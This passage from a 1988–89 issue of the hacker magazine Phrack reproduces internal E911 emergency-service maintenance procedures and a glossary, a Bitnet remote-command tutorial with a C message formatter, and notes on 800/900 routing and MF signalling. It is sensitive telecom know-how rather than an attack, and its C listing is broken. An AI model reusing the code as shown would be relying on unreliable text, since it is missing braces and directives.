[][][][][][][][][][][][][][][][

Description of Service

~~~~~~~~~~~~~~~~~~~~~~

The control office for Emergency 911 service is assigned in accordance with the existing standard guidelines to one of the following centers:

o Special Services Center (SSC)

o Major Accounts Center (MAC)

o Serving Test Center (STC)

o Toll Control Center (TCC)

The SSC/MAC designation is used in this document interchangeably for any of these four centers. The Special Services Centers (SSCs) or Major Account Centers (MACs) have been designated as the trouble reporting contact for all E911 customer (PSAP) reported troubles. Subscribers who have trouble on an E911 call will continue to contact local repair service (CRSAB) who will refer the trouble to the SSC/MAC, when appropriate.

Due to the critical nature of E911 service, the control and timely repair of troubles is demanded. As the primary E911 customer contact, the SSC/MAC is in the unique position to monitor the status of the trouble and insure its resolution.

System Overview

~~~~~~~~~~~~~~~

The number 911 is intended as a nationwide universal telephone number which provides the public with direct access to a Public Safety Answering Point (PSAP). A PSAP is also referred to as an Emergency Service Bureau (ESB). A PSAP is an agency or facility which is authorized by a municipality to receive and respond to police, fire and/or ambulance services. One or more attendants are located at the PSAP facilities to receive and handle calls of an emergency nature in accordance with the local municipal requirements.

An important advantage of E911 emergency service is improved (reduced) response times for emergency services. Also close coordination among agencies providing various emergency services is a valuable capability provided by E911 service.

1A ESS is used as the tandem office for the E911 network to route all 911 calls to the correct (primary) PSAP designated to serve the calling station. The E911 feature was developed primarily to provide routing to the correct PSAP for all 911 calls. Selective routing allows a 911 call originated from a particular station located in a particular district, zone, or town, to be routed to the primary PSAP designated to serve that customer station regardless of wire center boundaries. Thus, selective routing eliminates the problem of wire center boundaries not coinciding with district or other political boundaries.

The services available with the E911 feature include:

Forced Disconnect Default Routing Alternative Routing Night Service

Selective Routing Automatic Number Identification (ANI) Selective Transfer Automatic Location Identification (ALI)

Preservice/Installation Guidelines

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

When a contract for an E911 system has been signed, it is the responsibility of Network Marketing to establish an implementation/cutover committee which should include a representative from the SSC/MAC. Duties of the E911 Implementation Team include coordination of all phases of the E911 system deployment and the formation of an on‑going E911 maintenance subcommittee.

Marketing is responsible for providing the following customer specific information to the SSC/MAC prior to the start of call through testing:

o All PSAP's (name, address, local contact)

o All PSAP circuit ID's

o 1004 911 service request including PSAP details on each PSAP (1004 Section K, L, M)

o Network configuration

o Any vendor information (name, telephone number, equipment)

The SSC/MAC needs to know if the equipment and sets at the PSAP are maintained by the BOCs, an independent company, or an outside vendor, or any combination. This information is then entered on the PSAP profile sheets and reviewed quarterly for changes, additions and deletions.

Marketing will secure the Major Account Number (MAN) and provide this number to Corporate Communications so that the initial issue of the service orders carry the MAN and can be tracked by the SSC/MAC via CORDNET. PSAP circuits are official services by definition.

All service orders required for the installation of the E911 system should include the MAN assigned to the city/county which has purchased the system.

In accordance with the basic SSC/MAC strategy for provisioning, the SSC/MAC will be Overall Control Office (OCO) for all Node to PSAP circuits (official services) and any other services for this customer. Training must be scheduled for all SSC/MAC involved personnel during the pre‑service stage of the project.

The E911 Implementation Team will form the on‑going maintenance subcommittee prior to the initial implementation of the E911 system. This sub‑committee will establish post implementation quality assurance procedures to ensure that the E911 system continues to provide quality service to the customer. Customer/Company training, trouble reporting interfaces for the customer, telephone company and any involved independent telephone companies needs to be addressed and implemented prior to E911 cutover. These functions can be best addressed by the formation of a sub‑committee of the E911 Implementation Team to set up guidelines for and to secure service commitments of interfacing organizations. A SSC/MAC supervisor should chair this subcommittee and include the following organizations:

1) Switching Control Center

‑ E911 translations

‑ Trunking

‑ End office and Tandem office hardware/software

2) Recent Change Memory Administration Center

‑ Daily RC update activity for TN/ESN translations ‑ Processes validity errors and rejects

3) Line and Number Administration

‑ Verification of TN/ESN translations

4) Special Service Center/Major Account Center

‑ Single point of contact for all PSAP and Node to host troubles ‑ Logs, tracks & statusing of all trouble reports ‑ Trouble referral, follow up, and escalation

‑ Customer notification of status and restoration ‑ Analyzation of "chronic" troubles

‑ Testing, installation and maintenance of E911 circuits 5) Installation and Maintenance (SSIM/I&M)

‑ Repair and maintenance of PSAP equipment and Telco owned sets 6) Minicomputer Maintenance Operations Center

‑ E911 circuit maintenance (where applicable)

7) Area Maintenance Engineer

‑ Technical assistance on voice (CO‑PSAP) network related E911 troubles

Maintenance Guidelines

~~~~~~~~~~~~~~~~~~~~~~

The CCNC will test the Node circuit from the 202T at the Host site to the 202T at the Node site. Since Host to Node (CCNC to MMOC) circuits are official company services, the CCNC will refer all Node circuit troubles to the SSC/MAC. The SSC/MAC is responsible for the testing and follow up to restoration of these circuit troubles.

Although Node to PSAP circuit are official services, the MMOC will refer PSAP circuit troubles to the appropriate SSC/MAC. The SSC/MAC is responsible for testing and follow up to restoration of PSAP circuit troubles.

The SSC/MAC will also receive reports from CRSAB/IMC(s) on subscriber 911 troubles when they are not line troubles. The SSC/MAC is responsible for testing and restoration of these troubles.

Maintenance responsibilities are as follows:

SCC* Voice Network (ANI to PSAP)

*SCC responsible for tandem switch

SSIM/I&M PSAP Equipment (Modems, CIU's, sets)

Vendor PSAP Equipment (when CPE)

SSC/MAC PSAP to Node circuits, and tandem to PSAP voice circuits (EMNT) MMOC Node site (Modems, cables, etc)

Note: All above work groups are required to resolve troubles by interfacing with appropriate work groups for resolution.

The Switching Control Center (SCC) is responsible for E911/1AESS translations in tandem central offices. These translations route E911 calls, selective transfer, default routing, speed calling, etc., for each PSAP. The SCC is also responsible for troubleshooting on the voice network (call originating to end office tandem equipment).

For example, ANI failures in the originating offices would be a responsibility of the SCC.

Recent Change Memory Administration Center (RCMAC) performs the daily tandem translation updates (recent change) for routing of individual telephone numbers.

Recent changes are generated from service order activity (new service, address changes, etc.) and compiled into a daily file by the E911 Center (ALI/DMS E911 Computer).

SSIM/I&M is responsible for the installation and repair of PSAP equipment. PSAP equipment includes ANI Controller, ALI Controller, data sets, cables, sets, and other peripheral equipment that is not vendor owned. SSIM/I&M is responsible for establishing maintenance test kits, complete with spare parts for PSAP maintenance. This includes test gear, data sets, and ANI/ALI Controller parts.

Special Services Center (SSC) or Major Account Center (MAC) serves as the trouble reporting contact for all (PSAP) troubles reported by customer. The SSC/MAC refers troubles to proper organizations for handling and tracks status of troubles, escalating when necessary. The SSC/MAC will close out troubles with customer. The SSC/MAC will analyze all troubles and tracks "chronic" PSAP troubles.

Corporate Communications Network Center (CCNC) will test and refer troubles on all node to host circuits. All E911 circuits are classified as official company property.

The Minicomputer Maintenance Operations Center (MMOC) maintains the E911 (ALI/DMS) computer hardware at the Host site. This MMOC is also responsible for monitoring the system and reporting certain PSAP and system problems to the local MMOC's, SCC's or SSC/MAC's. The MMOC personnel also operate software programs that maintain the TN data base under the direction of the E911 Center. The maintenance of the NODE computer (the interface between the PSAP and the ALI/DMS computer) is a function of the MMOC at the NODE site. The MMOC's at the NODE sites may also be involved in the testing of NODE to Host circuits. The MMOC will also assist on Host to PSAP and data network related troubles not resolved through standard trouble clearing procedures.

Installation And Maintenance Center (IMC) is responsible for referral of E911 subscriber troubles that are not subscriber line problems.

E911 Center ‑ Performs the role of System Administration and is responsible for overall operation of the E911 computer software. The E911 Center does A‑Z trouble analysis and provides statistical information on the performance of the system.

This analysis includes processing PSAP inquiries (trouble reports) and referral of network troubles. The E911 Center also performs daily processing of tandem recent change and provides information to the RCMAC for tandem input. The E911 Center is responsible for daily processing of the ALI/DMS computer data base and provides error files, etc. to the Customer Services department for investigation and correction. The E911 Center participates in all system implementations and on‑going maintenance effort and assists in the development of procedures, training and education of information to all groups.

Any group receiving a 911 trouble from the SSC/MAC should close out the trouble with the SSC/MAC or provide a status if the trouble has been referred to another group. This will allow the SSC/MAC to provide a status back to the customer or escalate as appropriate.

Any group receiving a trouble from the Host site (MMOC or CCNC) should close the trouble back to that group.

The MMOC should notify the appropriate SSC/MAC when the Host, Node, or all Node circuits are down so that the SSC/MAC can reply to customer reports that may be called in by the PSAPs. This will eliminate duplicate reporting of troubles. On complete outages the MMOC will follow escalation procedures for a Node after two (2) hours and for a PSAP after four (4) hours. Additionally the MMOC will notify the appropriate SSC/MAC when the Host, Node, or all Node circuits are down.

The PSAP will call the SSC/MAC to report E911 troubles. The person reporting the E911 trouble may not have a circuit I.D. and will therefore report the PSAP name and address. Many PSAP troubles are not circuit specific. In those instances where the caller cannot provide a circuit I.D., the SSC/MAC will be required to determine the circuit I.D. using the PSAP profile. Under no circumstances will the SSC/MAC Center refuse to take the trouble. The E911 trouble should be handled as quickly as possible, with the SSC/MAC providing as much assistance as possible while taking the trouble report from the caller.

The SSC/MAC will screen/test the trouble to determine the appropriate handoff organization based on the following criteria:

PSAP equipment problem: SSIM/I&M

Circuit problem: SSC/MAC

Voice network problem: SCC (report trunk group number) Problem affecting multiple PSAPs (No ALI report from all PSAPs): Contact

the MMOC to check for NODE or Host

computer problems before further testing.

The SSC/MAC will track the status of reported troubles and escalate as appropriate. The SSC/MAC will close out customer/company reports with the initiating contact. Groups with specific maintenance responsibilities, defined above, will investigate "chronic" troubles upon request from the SSC/MAC and the ongoing maintenance subcommittee.

All "out of service" E911 troubles are priority one type reports. One link down to a PSAP is considered a priority one trouble and should be handled as if the PSAP was isolated.

The PSAP will report troubles with the ANI controller, ALI controller or set equipment to the SSC/MAC.

NO ANI: Where the PSAP reports NO ANI (digital display screen is blank) ask if this condition exists on all screens and on all calls. It is important to differentiate between blank screens and screens displaying 911‑00XX, or all zeroes.

When the PSAP reports all screens on all calls, ask if there is any voice contact with callers. If there is no voice contact the trouble should be referred to the SCC immediately since 911 calls are not getting through which may require alternate routing of calls to another PSAP.

When the PSAP reports this condition on all screens but not all calls and has voice contact with callers, the report should be referred to SSIM/I&M for dispatch. The SSC/MAC should verify with the SCC that ANI is pulsing before dispatching SSIM.

When the PSAP reports this condition on one screen for all calls (others work fine) the trouble should be referred to SSIM/I&M for dispatch, because the trouble is isolated to one piece of equipment at the customer premise.

An ANI failure (i.e. all zeroes) indicates that the ANI has not been received by the PSAP from the tandem office or was lost by the PSAP ANI controller. The PSAP may receive "02" alarms which can be caused by the ANI controller logging more than three all zero failures on the same trunk. The PSAP has been instructed to report this condition to the SSC/MAC since it could indicate an equipment trouble at the PSAP which might be affecting all subscribers calling into the PSAP. When all zeroes are being received on all calls or "02" alarms continue, a tester should analyze the condition to determine the appropriate action to be taken. The tester must perform cooperative testing with the SCC when there appears to be a problem on the Tandem‑PSAP trunks before requesting dispatch.

When an occasional all zero condition is reported, the SSC/MAC should dispatch SSIM/I&M to routine equipment on a "chronic" troublesweep.

The PSAPs are instructed to report incidental ANI failures to the BOC on a PSAP inquiry trouble ticket (paper) that is sent to the Customer Services E911 group and forwarded to E911 center when required. This usually involves only a particular telephone number and is not a condition that would require a report to the SSC/MAC. Multiple ANI failures which our from the same end office (XX denotes end office), indicate a hard trouble condition may exist in the end office or end office tandem trunks. The PSAP will report this type of condition to the SSC/MAC and the SSC/MAC should refer the report to the SCC responsible for the tandem office. NOTE: XX is the ESCO (Emergency Service Number) associated with the incoming 911 trunks into the tandem. It is important that the C/MAC tell the SCC what is displayed at the PSAP (i.e. 911‑0011) which indicates to the SCC which end office is in trouble.

Note: It is essential that the PSAP fill out inquiry form on every ANI failure.

The PSAP will report a trouble any time an address is not received on an address display (screen blank) E911 call. (If a record is not in the 911 data base or an ANI failure is encountered, the screen will provide a display noticing such condition). The SSC/MAC should verify with the PSAP whether the NO ALI condition is on one screen or all screens.

When the condition is on one screen (other screens receive ALI information) the SSC/MAC will request SSIM/I&M to dispatch.

If no screens are receiving ALI information, there is usually a circuit trouble between the PSAP and the Host computer. The SSC/MAC should test the trouble and refer for restoral.

Note: If the SSC/MAC receives calls from multiple PSAP's, all of which are receiving NO ALI, there is a problem with the Node or Node to Host circuits or the Host computer itself. Before referring the trouble the SSC/MAC should call the MMOC to inquire if the Node or Host is in trouble.

Alarm conditions on the ANI controller digital display at the PSAP are to be reported by the PSAP's. These alarms can indicate various trouble conditions o so the SSC/MAC should ask the PSAP if any portion of the E911 system is not functioning properly.

The SSC/MAC should verify with the PSAP attendant that the equipment's primary function is answering E911 calls. If it is, the SSC/MAC should request a dispatch SSIM/I&M. If the equipment is not primarily used for E911, then the SSC/MAC should advise PSAP to contact their CPE vendor.

Note: These troubles can be quite confusing when the PSAP has vendor equipment mixed in with equipment that the BOC maintains. The Marketing representative should provide the SSC/MAC information concerning any unusual or exception items where the PSAP should contact their vendor. This information should be included in the PSAP profile sheets.

ANI or ALI controller down: When the host computer sees the PSAP equipment down and it does not come back up, the MMOC will report the trouble to the SSC/MAC; the equipment is down at the PSAP, a dispatch will be required.

PSAP link (circuit) down: The MMOC will provide the SSC/MAC with the circuit ID that the Host computer indicates in trouble. Although each PSAP has two circuits, when either circuit is down the condition must be treated as an emergency since failure of the second circuit will cause the PSAP to be isolated.

Any problems that the MMOC identifies from the Node location to the Host computer will be handled directly with the appropriate MMOC(s)/CCNC.

Note: The customer will call only when a problem is apparent to the PSAP. When only one circuit is down to the PSAP, the customer may not be aware there is a trouble, even though there is one link down, notification should appear on the PSAP screen. Troubles called into the SSC/MAC from the MMOC or other company employee should not be closed out by calling the PSAP since it may result in the customer responding that they do not have a trouble. These reports can only be closed out by receiving information that the trouble was fixed and by checking with the company employee that reported the trouble. The MMOC personnel will be able to verify that the trouble has cleared by reviewing a printout from the host.

When the CRSAB receives a subscriber complaint (i.e., cannot dial 911) the RSA should obtain as much information as possible while the customer is on the line.

For example, what happened when the subscriber dialed 911? The report is automatically directed to the IMC for subscriber line testing. When no line trouble is found, the IMC will refer the trouble condition to the SSC/MAC. The SSC/MAC will contact Customer Services E911 Group and verify that the subscriber should be able to call 911 and obtain the ESN. The SSC/MAC will verify the ESN via 2SCCS. When both verifications match, the SSC/MAC will refer the report to the SCC responsible for the 911 tandem office for investigation and resolution. The MAC is responsible for tracking the trouble and informing the IMC when it is resolved.

For more information, please refer to E911 Glossary of Terms.

Glossary Terminology For Enhanced 911 Service

==Phrack Inc.==

Volume Two, Issue 24, File 6 of 13

[][][][][][][][][][][][][][][][

[]

[] Glossary Terminology [] [] For Enhanced 911 Services []

[]

[] By The Eavesdropper []

[]

[] March, 1988 []

[]

[][][][][][][][][][][][][][][][

E911 ‑ Enhanced 911: Features available include selective routing, selective transfer, fixed transfer, alternate routing, default routing, Automatic Number Display, Automatic Location Identification, night service, default routing, call detail record.

End Office ‑ Telephone central office which provides dial tone to the subscriber calling 911. The "end office" provides ANI (Automatic Number Identification) to the tandem office.

Tandem Office ‑ Telephone central office which serves as a tandem (or hub) for all 911 calls. Must be a 1AESS type of central office. The tandem office translations contain the TN/ESN relationships which route the 911 call to the proper SAP. The tandem office looks up the ANI (TN) that it receives from the end office and finds the ESN (routing information) which corresponds to a seven digit number ringing in at a PSAP.

PSAP ‑ Public Safety Answering Point, usually the police, fire and/or rescue groups as determined by the local municipalities. A "ringin" will not have ANI or ALI capabilities, but just receives calls or transferred calls from another PSAP.

ESN ‑ Emergency Service Number (XXX) that is assigned to the subscriber's telephone number in the tandem office translations The ESN represents a seven digit number by which the tandem office routes the call to the proper PSAP. PSAPs with ALI capabilities also receive a display of the ESN information which shows which police, fire and rescue agency serves the telephone number calling 911. An ESN is a unique combination of police, fire, and rescue service for purposes of routing the E911 call.

ANI ‑ Automatic Number Identification corresponds to the subscriber's seven digit telephone number. The ANI displays at the PSAP on the digital ANI display console.

ALI ‑ Automatic Location Identification provides for an address display of the subscriber calling 911. With ALI, the PSAP receives the ANI display and an ALI display on a screen. The ALI display includes the subscriber's address, community, state, type of service and if a business, the name of the business. The PSAP will also get a display of the associated ESN information (police, fire, rescue).

Selective Routing ‑ The capability to route a call to the particular PSAP serving the address associated with the TN making the 911 call. Selective routing is achieved by building TN/ESN translations in the tandem central office. These translations are driven by the E911 data base which assigns the ESN to each telephone number based on the customer's address. Service order activity keeps the E911 data base updated. The E911 data base, in turn, generates recent change to the tandem office (through the SCC or RCMAC) to update the TN/ESN translations in the tandem data base.

Selective Transfer ‑ Provides the PSAP with the ability to transfer the incoming 911 call to a fire or rescue service for the particular number calling 911 by pushing one button for fire or rescue. For example, if an incoming 911 call was reporting a fire, the PSAP operator would push the fire button on the ANI console; the call would go back to the tandem office, do a lookup for the seven digit number associated with fire department, for the ESN assigned to the calling TN, and automatically route the call to that fire department. This differs from "fixed" transfer which routes every call to the same fire or rescue number whenever the fire or rescue button is pushed. The PSAP equipment is optioned to provide either fixed or selective transfer capabilities.

Alternate Routing ‑ Alternate routing provides for a predetermined routing for 911 calls when the tandem office is unable to route the calls over the 911 trunks for a particular PSAP due to troubles or all trunks busy.

Default Routing ‑ Provides for routing of 911 calls when there is an ANI failure. The call will be routed to the "default" ESN associated with the he NNX the caller is calling from. Default ESNs are preassigned in translations and are usually the predominant ESN for a given wire center.

Night Service ‑ Night service works the same as alternate routing in that the calls coming into a given PSAP will automatically be routed to another preset PSAP when all trunks are made busy due to the PSAP closing down for the night.

Call Detail Record ‑ When the 911 call is terminated by the PSAP operator, the ANI will automatically print‑out on the teletypewriter located at the PSAP. The printout will contain the time the call came into the PSAP, the time it was picked up by an operator, the operator number, the time the call was transferred, if applicable, the time the call was terminated and the trunk group number associated with the call. Printouts of the ALI display are now also available, if the PSAP has purchased the required equipment.

ANI Failure ‑ Failure of the end office to identify the call and provide the ANI (telephone number) to the tandem office; or, an ANI failure between the tandem office and the PSAP.

Misroute ‑ Any condition that results in the 911 call going to the wrong PSAP. A call can be misrouted if the ESN and associated routing information are incorrect in the E911 data base and/or tandem data base. A call can also be misrouted if the call is an ANI failure, which automatically default routes.

Anonymous Call ‑ If a subscriber misdials and dials the seven digit number associated with the PSAP position, they will come in direct and ANI display as 911‑0000 which will ALI as an anonymous call. The seven digit numbers associated with the PSAP positions are not published even to the PSAPs.

Spurious 911 Call ‑ Occasionally, the PSAP will get a call that is not associated with a subscriber dialing 911 for an emergency. It could be a subscriber who has not dialed 911, but is dialing another number, or has just picked up their phone and was connected with the PSAP. These problems are equipment related, particularly when the calls originate from electromechanical or step by step offices, and are reported by the E911 Center to Network Operations upon receipt of the PSAP inquiry reporting the trouble. The PSAP may get a call and no one is there; if they call the number back, the number may be disconnected or no one home. Again these are network troubles and must be investigated. Cordless telephones can also generate "spurious" calls in to the PSAPs. Generally, the PSAP will hear conversation on the line, but the subscribers are not calling 911. The PSAP may report spurious calls to to repair if they become bothersome, for example, the same number ringing in continually.

No Displays ‑ A condition where the PSAP ALI display screen is blank. This type of trouble should be reported immediately to the SSC/MAC. If all screens at the PSAP are blank, it is an indication that the problem is in the circuits from the PSAP to the E911 computer. If more than one PSAP is experiencing no display, it may be a problem with the Node computer or the E911 computer. The SSC/MAC should contact the MMOC to determine the health of the HOST computer.

Record Not Found ‑ If the host computer is unable to do a look up on a given ANI request from the PSAP, it will forward a Record Not Found message to the PSA ALI screen. This is caused by service order activity for a given subscriber not being processed into the E911 data base, or HOST computer system problems whereby the record cannot be accessed at that point in time.

No ANI ‑ This condition means the PSAP received a call, but no telephone number displayed on the ANI console. The PSAP should report this condition immediately to the SSC/MAC.

PSAP Not Receiving Calls ‑ If a PSAP cannot receive calls or request retrievals from the E911 host computer, i.e., cable cut, the calls into that PSAP must be rerouted to another PSAP. The Switching Control Center must be notified to reroute the calls in the tandem office E911 translations.

MSAG ‑ Master Street Address Guide. The MSAG ledgers are controlled by the municipality which has purchased the E911 ALI service, in that they assign which police, fire or rescue agency will serve a given street and number range. They do this by assigning an ESN to each street range, odd, even, community that is populated in the county or municipality served. These MSAGs are then used as a filter for service order activity into the E911 computer data base to assign ESNs to individual TN records. This insures that each customer will be routed to the correct agency for their particular address. In a non‑ALI County, TAR codes are used by the Telephone company to assign ESNs to service conductivity and the County does not control the ESN assignment. TAR codes represent the taxing authority for the given subscriber which should correspond to their police, fire and rescue agencies. The MG method, of course, is more accurate because it is using the actual service address of the customer to route the call and provides the county with more flexibility in assigning fire and rescue district, etc. The Customer Services E911 Group maintains the E911 computer data base and interfaces with the County (customer) on all MSAG or data base activity.

Advanced Bitnet Procedures

==Phrack Inc.==

Volume Two, Issue 24, File 7 of 13

()()()()()()()()()()()()(

()

() Advanced Bitnet Procedures ()

()

() by ()

()

() VAXBusters International ()

()

()()()()()()()()()()()()(

Greetings! I have taken the time to write up a file about some of the more

complex operations on Bitnet. I hope you enjoy it! :‑)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

You can send multiple messages to one user@node under VAX/VMS & JNET by just typing;

$ SEND/REMOTE <host> <user>

This will collect messages from the terminal until an empty line or CTRL‑Z is entered.

Under Unix, the UREP package is popular to connect Unix boxes to Bitnet. The important user commands are as follows:

Messages

~~~~~~~~

netwrite user@host

Send one or more messages to the specified Bitnet user. Netwrite reads messages from it's standard input until an EOF is reached. If called from a terminal, netwrite will terminate on an empty line as well.

When you receive Bitnet messages on a Unix host, UREP looks for an executable file named .exwrite in your home directory. If it doesn't find such a file, the message is simply spit on your terminal. If .exwrite is present, UREP executes this program (which can be a shell script) with five parameters:

<To System> <To User> <From System> <From User> <Tty>

The <Tty> parameter tells the terminal to which UREP wanted to send the message. UREP then feeds the messages to .exwrite as standard input. The format of standard input is as follows:

<count (1 byte)><message (<count> bytes)>

To display these messages you need to have a "C" program, since a shell script is not capable of handling single bytes painlessly. I included my exwrite.c at the end of this file for a start.

Typically, .exwrite is used to log all incoming Bitnet messages. You can of course blow it up to send messages back to the sender when you're out to lunch, etc. BTW, .exwrite is called with the user ID of the receiving user, so it's no real security hole.

File Transfer

~~~~~~~~~~~~~

netcopy user@host [ options ]

Copy a file to the specified Bitnet user. The most important option is "name=<fname>.<ftype>", with which you can specify the file name to be used at the recipient's machine. More details are in the manual page.

When you receive Bitnet files on a Unix machine running UREP, they will be placed in your home directory under the name ":<fname>.<ftype>". These files are in NETDATA format, and they have to be converted to ASCII text files when you want to use them under Unix. This can be done with the command;

netdata [ <input_file> [ <output_file> ] ]

When <input_file> is unspecified, standard input is used. If <output_file> is unspecified, standard output is used.

Bitnet Commands

~~~~~~~~~~~~~~~

Though Bitnet has no remote login capability, you can execute a (restricted) set of commands on remote hosts. These commands can be used to query node status, lists of logged‑on users, time and some other things.

This works as follows:

JNET: $ SEND/COMMAND <host> [ <command> ]

UREP: % netexec <host> [ <command> ]

CMS: SMSG <server> CMD <host> <command>

The <server> under CMS is the Bitnet control process. In Europe, it is normally called "EARN." In the USA, it could be "BITNET" or maybe "RSCS." You're on your own here.

The <host> is the Bitnet host name which you want to execute the <command>. With JNET and UREP, you will be asked for multiple commands when you leave the <command> field empty. Again, input is terminated with EOF or an empty line.

I have found the following commands useful in daily life:

CPQ N Get a list of the users currently logged in at the <host>. This command is supposed to exist on every Bitnet host, but some system managers like to restrict it for security reasons. On JNET and UREP hosts, FINGER performs a similar, but more elaborate function.

CPQ T Make <host> tell you the current time at it's location.

Q <otherhost> Make <host> tell you what the next hop to <otherhost> is. This is useful when you're interested in the network topology.

Q <ohost> A This makes <host> tell you what file is currently active (being transmitted) for <ohost>. This only works for machines which are directly connected to <host>.

Q <ohost> Q This makes <host> show you the queue of files currently waiting for transmission to <ohost>. This is useful when you want to trace some file which you sent to the network.

Q SYS This makes <host> tell you about the RSCS links it has.

Unfortunately, MVS‑Hosts don't understand any of these commands, but simply give an error message. You can recognize these things by the string "HASP" somewhere in the error message.

Enjoy !

exwrite.c For Unix Hosts Running UREP

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<‑‑ cut here ‑‑>

/* exwrite.c ‑ formatter for UREP rscs messages */

include <stdio.h>

include <sysexits.h>

include <pwd.h>

include <ctype.h>

main(argc, argv)

int argc;

char *argv[];

struct passwd *pw;

char fname[255];

FILE *term;

FILE *log;

int count;

char buf[1024];

char *from_user;

char *from_host;

char *to_user;

char *to_host;

char *to_tty;

char *home_dir = "/tmp";

if (argc != 6)

fprintf(stderr, "%s: Invalid arguments\n", argv[0]); exit(EX_USAGE);

/* initialise variables

to_host = argv[1];

to_user = argv[2];

from_host = argv[3];

from_user = argv[4];

to_tty = argv[5];

/* convert the receiving user to lowercase. Under Unix, all *

* user names normally are lower case, and we need a valid * * user name to determine the home directory */

for (; *to_user; to_user++)

*to_user = tolower(*to_user);

to_user = argv[2];

/* get the home directory of the receiving user */

if (pw = getpwnam(to_user))

home_dir = pw‑>pw_dir;

/* open the terminal, exit if the open fails */

sprintf(fname, "/dev/%s", to_tty);

if (!(term = fopen(fname, "w"))) exit(EX_OSERR);

/* open the rscs log file *

sprintf(fname, "%s/.rscslog", home_dir);

log = fopen(fname, "a");

/* if the message is not coming from the relay, write the *

* sending user and host name to the specified terminal */

if (strcmp(from_user, "RELAY")) fprintf(term, "From %s@%s:\r\n", from_user, from_host);

/* read in the RSCS messages and send them to the terminal *

* and to the logfile if it has been opened. * * In the log file, all lines are preceded by the sending user *

* and host name.

while ((count = getchar()) != EOF)

if ((count = fread(buf, 1, count, stdin)) > 0) fwrite(buf, 1, count, term); fprintf(term, "\r\n"); if (log)

fprintf(log, "%s@%s: ", from_user, from_host);

fwrite(buf, 1, count, log);

fprintf(log, "\n");

exit(EX_OK);

Special Area Codes

==Phrack Inc.==

Volume Two, Issue 24, File 8 of 13

/^\ /^\ /^\ /^\ /^\ /^\

/^\

/^\ Special Area Codes /^\

/^\

/^\ by >Unknown User< /^\

/^\

/^\ January 3, 1989 /^\

/^\

/^\ /^\ /^\ /^\ /^\ /^\

Greetings! I have compiled information about the SACs for your edification; these include 700, 800, and 900.

Most telephone users from the United States are quite familiar with 800 service: A number that they dial and incur NO charge (not even message units in most areas).

Then there is 900 service, which is what most people perceive as 'value added,' i.e. you pay more for the information than for the transport of the call. These vary typically from 35 cents to a few dollars for either a timed service, or a 'as long as you like' duration‑sensitive service. There are two sub‑species of 900 service: AT&T and "everybody else."

Finally, there is 700 service, which many people remember as Alliance Teleconferencing. This is the third "canonical" SAC. With few limitations, this SAC is given over to the IEC entirely.

Let's look at these in more detail.

800 Service

~~~~~~~~~~~

800 service is offered by various IECs. Each NXX in the 800 SAC is assigned to a given carrier, who is responsible for assigning numbers from that block to customers, and providing 10 digit translation.

The carrier must have Feature Group D presence for originating calls from the originating exchange (either direct, or through an access tandem).

In the future, when CCIS becomes wide‑spread, a query will be made in the database [Who gets 1‑800‑985‑1234?] and the call will be routed appropriately. To clarify: Now the carrier is determined by the NNX. In the future, the carrier will be determined by the entire 7 digits.

A similar situation exists with 900 service. Each carrier can reserve NXXs from BellCore (the people who among a zillion other tasks are in charge of handing out prefixes and area codes). They're not cheap! To get the actual number is free (there are qualifications that I don't deal with), but to get it 'turned on' in a LATA costs you money, depending on:

(1) How many prefixes you're getting,

(2) Whether it's 800 or 900 service; and,

(3) How many Tandems/End Offices are in the LATA.

It requires a discrete amount of labor for EACH office, because EACH routing table must be modified. However, I will be discussing 900 Service in more detail later in this file.

When you, as Joe Customer, dial 1‑800‑222‑1234 (made up number, please don't bother them) it will initiate the following sequence:

1. If you are in an Electronic Office (DMS‑100, DMS‑200, 1A ESS, 5 ESS) the 800‑222 will be translated to "AT&T" and will search for an opening in a trunk group marked for 800 origination. Should none be found, bump to step 3.

2. If you are in a non‑electronic office (SxS, XB, and some flavors of ESS), it will go to the access tandem that your office 'homes' on, where 800‑222 will be translated to "AT&T."

Note: If at this point, the number doesn't have a translation, you will get a "lose" recording from the CO.

3. Find a trunk in a trunk group marked for 800 origination. Should none be found, give the customer a recording "Due to network congestion, your 800 call could not be completed" or die, or whatever. (Depends on phase of moon, etc.)

4. The end office will the send the following pulse‑stream (in MF): KP + II + 3/10D + ST + KP + 800 222 1234 + ST

Note: This is a simplification; there are some fine points of ANI spills that are beyond the scope of this file.

II = 2 information digits. Typical values are:

00 normal ANI .. 10 digits follow

01 ONI line ... NPA follows

02 ANI failure ... NPA follows

3/10D = 3 or 10 digits. Either the NPA, or the entire 10 digit number. KP and ST are control tones.

5. The carrier receives all of this (and probably throws the ANI into the bit bucket) and translates the 800 number to what's called a PTN, or Plant Test Number (for example, 617‑555‑9111). Then, the call is routed AS IF the customer had dialed that 10 digit number. Of course, the billing data is marked as an 800 call, so the subscriber receiving the call pays the appropriate amount.

Of the 800 possible NXXs, 409 are currently assigned. A long‑distance carrier can get one 800 and four 900 numbers just for the paperwork. But to get more than that, you have to show that you're 70% full now, and demonstrate a real need for the capacity.

I have included the entire 800‑NXX to long‑distance carrier translation table. Note that not every NXX is valid in every area.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Revised 800/OCN Translation Table Effective October 10, 1988

221 ATX 222 ATX 223 ATX 224 LDL 225 ATX 226 MIC 227 ATX 228 ATX 229 TDX 230 NTK 231 ATX 232 ATX 233 ATX 234 MCI 235 ATX 236 SCH 237 ATX 238 ATX 239 DLT 240 SIR 241 ATX 242 ATX 243 ATX 244 ‑‑‑ 245 ATX 246 ‑‑‑ 247 ATX 248 ATX 249 ‑‑‑ 250 ‑‑251 ATX 252 ATX 253 ATX 254 TTU 255 ATX 256 LSI 257 ATX 258 ATX 259 ‑‑‑ 260 ‑‑261 SCH 262 ATX 263 CAN 264 ICT 265 CAN 266 CSY 267 CAN 268 CAN 269 FDG 270 ‑‑271 ‑‑‑ 272 ATX 273 ‑‑‑ 274 MCI 275 ITT 276 ONE 277 SNT 278 ‑‑‑ 279 MAL 280 ADG 281 ‑‑‑ 282 ATX 283 MCI 284 MCI 285 ‑‑286 ‑‑‑ 287 ‑‑‑ 288 MCI 289 MCI 290 ‑‑291 ‑‑‑ 292 ATX 293 PRO 294 ‑‑‑ 295 ‑‑296 ‑‑‑ 297 ARE 298 ‑‑‑ 299 CYT

